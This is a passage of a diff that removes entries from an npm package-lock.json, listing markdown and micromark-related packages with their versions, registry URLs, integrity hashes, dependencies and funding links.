- "integrity": "sha512-BU7gy8MfBMqvEdDPH79VhOXSEgyG8TSPOKWaExWGCQVqnGH7wGgDngPbofu+KdtVjPQBWbEmnfMTq90CTiiDRg==",
- "peerDependencies": {
- "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc"
- }
- },
- "node_modules/markdown-extensions": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/markdown-extensions/-/markdown-extensions-2.0.0.tgz",
- "integrity": "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==",
- "engines": {
- "node": ">=16"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/markdown-table": {
- "version": "3.0.4",
- "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz",
- "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/math-intrinsics": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
- "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/mdast-util-find-and-replace": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.1.tgz",
- "integrity": "sha512-SG21kZHGC3XRTSUhtofZkBzZTJNM5ecCi0SK2IMKmSXR8vO3peL+kb1O0z7Zl83jKtutG4k5Wv/W7V3/YHvzPA==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "escape-string-regexp": "^5.0.0",
- "unist-util-is": "^6.0.0",
- "unist-util-visit-parents": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz",
- "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/mdast-util-from-markdown": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.2.tgz",
- "integrity": "sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "@types/unist": "^3.0.0",
- "decode-named-character-reference": "^1.0.0",
- "devlop": "^1.0.0",
- "mdast-util-to-string": "^4.0.0",
- "micromark": "^4.0.0",
- "micromark-util-decode-numeric-character-reference": "^2.0.0",
- "micromark-util-decode-string": "^2.0.0",
- "micromark-util-normalize-identifier": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0",
- "unist-util-stringify-position": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-gfm": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-3.0.0.tgz",
- "integrity": "sha512-dgQEX5Amaq+DuUqf26jJqSK9qgixgd6rYDHAv4aTBuA92cTknZlKpPfa86Z/s8Dj8xsAQpFfBmPUHWJBWqS4Bw==",
- "dependencies": {
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-gfm-autolink-literal": "^2.0.0",
- "mdast-util-gfm-footnote": "^2.0.0",
- "mdast-util-gfm-strikethrough": "^2.0.0",
- "mdast-util-gfm-table": "^2.0.0",
- "mdast-util-gfm-task-list-item": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-gfm-autolink-literal": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-2.0.1.tgz",
- "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "ccount": "^2.0.0",
- "devlop": "^1.0.0",
- "mdast-util-find-and-replace": "^3.0.0",
- "micromark-util-character": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-gfm-footnote": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-2.0.0.tgz",
- "integrity": "sha512-5jOT2boTSVkMnQ7LTrd6n/18kqwjmuYqo7JUPe+tRCY6O7dAuTFMtTPauYYrMPpox9hlN0uOx/FL8XvEfG9/mQ==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "devlop": "^1.1.0",
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0",
- "micromark-util-normalize-identifier": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-gfm-strikethrough": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz",
- "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-gfm-table": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-2.0.0.tgz",
- "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "devlop": "^1.0.0",
- "markdown-table": "^3.0.0",
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-gfm-task-list-item": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-2.0.0.tgz",
- "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "devlop": "^1.0.0",
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-mdx": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/mdast-util-mdx/-/mdast-util-mdx-3.0.0.tgz",
- "integrity": "sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==",
- "dependencies": {
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-mdx-expression": "^2.0.0",
- "mdast-util-mdx-jsx": "^3.0.0",
- "mdast-util-mdxjs-esm": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-mdx-expression": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz",
- "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "@types/hast": "^3.0.0",
- "@types/mdast": "^4.0.0",
- "devlop": "^1.0.0",
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-mdx-jsx": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.1.3.tgz",
- "integrity": "sha512-bfOjvNt+1AcbPLTFMFWY149nJz0OjmewJs3LQQ5pIyVGxP4CdOqNVJL6kTaM5c68p8q82Xv3nCyFfUnuEcH3UQ==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "@types/hast": "^3.0.0",
- "@types/mdast": "^4.0.0",
- "@types/unist": "^3.0.0",
- "ccount": "^2.0.0",
- "devlop": "^1.1.0",
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0",
- "parse-entities": "^4.0.0",
- "stringify-entities": "^4.0.0",
- "unist-util-stringify-position": "^4.0.0",
- "vfile-message": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-mdxjs-esm": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz",
- "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "@types/hast": "^3.0.0",
- "@types/mdast": "^4.0.0",
- "devlop": "^1.0.0",
- "mdast-util-from-markdown": "^2.0.0",
- "mdast-util-to-markdown": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-phrasing": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz",
- "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "unist-util-is": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-to-hast": {
- "version": "13.2.1",
- "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz",
- "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==",
- "license": "MIT",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "@types/mdast": "^4.0.0",
- "@ungap/structured-clone": "^1.0.0",
- "devlop": "^1.0.0",
- "micromark-util-sanitize-uri": "^2.0.0",
- "trim-lines": "^3.0.0",
- "unist-util-position": "^5.0.0",
- "unist-util-visit": "^5.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-to-markdown": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz",
- "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "@types/unist": "^3.0.0",
- "longest-streak": "^3.0.0",
- "mdast-util-phrasing": "^4.0.0",
- "mdast-util-to-string": "^4.0.0",
- "micromark-util-classify-character": "^2.0.0",
- "micromark-util-decode-string": "^2.0.0",
- "unist-util-visit": "^5.0.0",
- "zwitch": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdast-util-to-string": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz",
- "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==",
- "dependencies": {
- "@types/mdast": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/mdx": {
- "version": "0.2.3",
- "resolved": "https://registry.npmjs.org/mdx/-/mdx-0.2.3.tgz",
- "integrity": "sha512-HS8RIJMW//gskRrNNAaxGd42RqA/7idbn8gr0+pp33LWxdnZk4coXigPw16g71TdtHxKF59IuY7pw1ODsQeOiQ==",
- "dependencies": {
- "mustache": "2.2.1",
- "object-assign": "4.0.1",
- "read-input": "0.3.1",
- "yargs": "3.31.0"
- },
- "bin": {
- "mdx": "bin/mdx"
- }
- },
- "node_modules/mdx/node_modules/object-assign": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.0.1.tgz",
- "integrity": "sha512-c6legOHWepAbWnp3j5SRUMpxCXBKI4rD7A5Osn9IzZ8w4O/KccXdW0lqdkQKbpk0eHGjNgKihgzY6WuEq99Tfw==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/merge2": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
- "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/micromark": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.1.tgz",
- "integrity": "sha512-eBPdkcoCNvYcxQOAKAlceo5SNdzZWfF+FcSupREAzdAh9rRmE239CEQAiTwIgblwnoM8zzj35sZ5ZwvSEOF6Kw==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "@types/debug": "^4.0.0",
- "debug": "^4.0.0",
- "decode-named-character-reference": "^1.0.0",
- "devlop": "^1.0.0",
- "micromark-core-commonmark": "^2.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-chunked": "^2.0.0",
- "micromark-util-combine-extensions": "^2.0.0",
- "micromark-util-decode-numeric-character-reference": "^2.0.0",
- "micromark-util-encode": "^2.0.0",
- "micromark-util-normalize-identifier": "^2.0.0",
- "micromark-util-resolve-all": "^2.0.0",
- "micromark-util-sanitize-uri": "^2.0.0",
- "micromark-util-subtokenize": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-core-commonmark": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.2.tgz",
- "integrity": "sha512-FKjQKbxd1cibWMM1P9N+H8TwlgGgSkWZMmfuVucLCHaYqeSvJ0hFeHsIa65pA2nYbes0f8LDHPMrd9X7Ujxg9w==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "decode-named-character-reference": "^1.0.0",
- "devlop": "^1.0.0",
- "micromark-factory-destination": "^2.0.0",
- "micromark-factory-label": "^2.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-factory-title": "^2.0.0",
- "micromark-factory-whitespace": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-chunked": "^2.0.0",
- "micromark-util-classify-character": "^2.0.0",
- "micromark-util-html-tag-name": "^2.0.0",
- "micromark-util-normalize-identifier": "^2.0.0",
- "micromark-util-resolve-all": "^2.0.0",
- "micromark-util-subtokenize": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-extension-gfm": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-3.0.0.tgz",
- "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==",
- "dependencies": {
- "micromark-extension-gfm-autolink-literal": "^2.0.0",
- "micromark-extension-gfm-footnote": "^2.0.0",
- "micromark-extension-gfm-strikethrough": "^2.0.0",
- "micromark-extension-gfm-table": "^2.0.0",
- "micromark-extension-gfm-tagfilter": "^2.0.0",
- "micromark-extension-gfm-task-list-item": "^2.0.0",
- "micromark-util-combine-extensions": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-gfm-autolink-literal": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz",
- "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==",
- "dependencies": {
- "micromark-util-character": "^2.0.0",
- "micromark-util-sanitize-uri": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-gfm-footnote": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz",
- "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==",
- "dependencies": {
- "devlop": "^1.0.0",
- "micromark-core-commonmark": "^2.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-normalize-identifier": "^2.0.0",
- "micromark-util-sanitize-uri": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-gfm-strikethrough": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-2.1.0.tgz",
- "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==",
- "dependencies": {
- "devlop": "^1.0.0",
- "micromark-util-chunked": "^2.0.0",
- "micromark-util-classify-character": "^2.0.0",
- "micromark-util-resolve-all": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-gfm-table": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.0.tgz",
- "integrity": "sha512-Ub2ncQv+fwD70/l4ou27b4YzfNaCJOvyX4HxXU15m7mpYY+rjuWzsLIPZHJL253Z643RpbcP1oeIJlQ/SKW67g==",
- "dependencies": {
- "devlop": "^1.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-gfm-tagfilter": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-2.0.0.tgz",
- "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==",
- "dependencies": {
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-gfm-task-list-item": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-2.1.0.tgz",
- "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==",
- "dependencies": {
- "devlop": "^1.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-mdx-expression": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-3.0.0.tgz",
- "integrity": "sha512-sI0nwhUDz97xyzqJAbHQhp5TfaxEvZZZ2JDqUo+7NvyIYG6BZ5CPPqj2ogUoPJlmXHBnyZUzISg9+oUmU6tUjQ==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "@types/estree": "^1.0.0",
- "devlop": "^1.0.0",
- "micromark-factory-mdx-expression": "^2.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-events-to-acorn": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-extension-mdx-jsx": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-3.0.1.tgz",
- "integrity": "sha512-vNuFb9czP8QCtAQcEJn0UJQJZA8Dk6DXKBqx+bg/w0WGuSxDxNr7hErW89tHUY31dUW4NqEOWwmEUNhjTFmHkg==",
- "dependencies": {
- "@types/acorn": "^4.0.0",
- "@types/estree": "^1.0.0",
- "devlop": "^1.0.0",
- "estree-util-is-identifier-name": "^3.0.0",
- "micromark-factory-mdx-expression": "^2.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-events-to-acorn": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0",
- "vfile-message": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-mdx-md": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-mdx-md/-/micromark-extension-mdx-md-2.0.0.tgz",
- "integrity": "sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==",
- "dependencies": {
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-mdxjs": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs/-/micromark-extension-mdxjs-3.0.0.tgz",
- "integrity": "sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==",
- "dependencies": {
- "acorn": "^8.0.0",
- "acorn-jsx": "^5.0.0",
- "micromark-extension-mdx-expression": "^3.0.0",
- "micromark-extension-mdx-jsx": "^3.0.0",
- "micromark-extension-mdx-md": "^2.0.0",
- "micromark-extension-mdxjs-esm": "^3.0.0",
- "micromark-util-combine-extensions": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-extension-mdxjs-esm": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-3.0.0.tgz",
- "integrity": "sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "devlop": "^1.0.0",
- "micromark-core-commonmark": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-events-to-acorn": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0",
- "unist-util-position-from-estree": "^2.0.0",
- "vfile-message": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/micromark-factory-destination": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz",
- "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-character": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-factory-label": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz",
- "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "devlop": "^1.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-factory-mdx-expression": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-2.0.2.tgz",
- "integrity": "sha512-5E5I2pFzJyg2CtemqAbcyCktpHXuJbABnsb32wX2U8IQKhhVFBqkcZR5LRm1WVoFqa4kTueZK4abep7wdo9nrw==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "@types/estree": "^1.0.0",
- "devlop": "^1.0.0",
- "micromark-factory-space": "^2.0.0",
- "micromark-util-character": "^2.0.0",
- "micromark-util-events-to-acorn": "^2.0.0",
- "micromark-util-symbol": "^2.0.0",
- "micromark-util-types": "^2.0.0",
- "unist-util-position-from-estree": "^2.0.0",
- "vfile-message": "^4.0.0"
- }
- },
- "node_modules/micromark-factory-space": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz",
- "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==",
- "funding": [
- {
- "type": "GitHub Sponsors",
- "url": "https://github.com/sponsors/unifiedjs"
- },
- {
- "type": "OpenCollective",
- "url": "https://opencollective.com/unified"
- }
- ],
- "dependencies": {
- "micromark-util-character": "^2.0.0",
- "micromark-util-types": "^2.0.0"
- }
- },
- "node_modules/micromark-factory-title": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz",
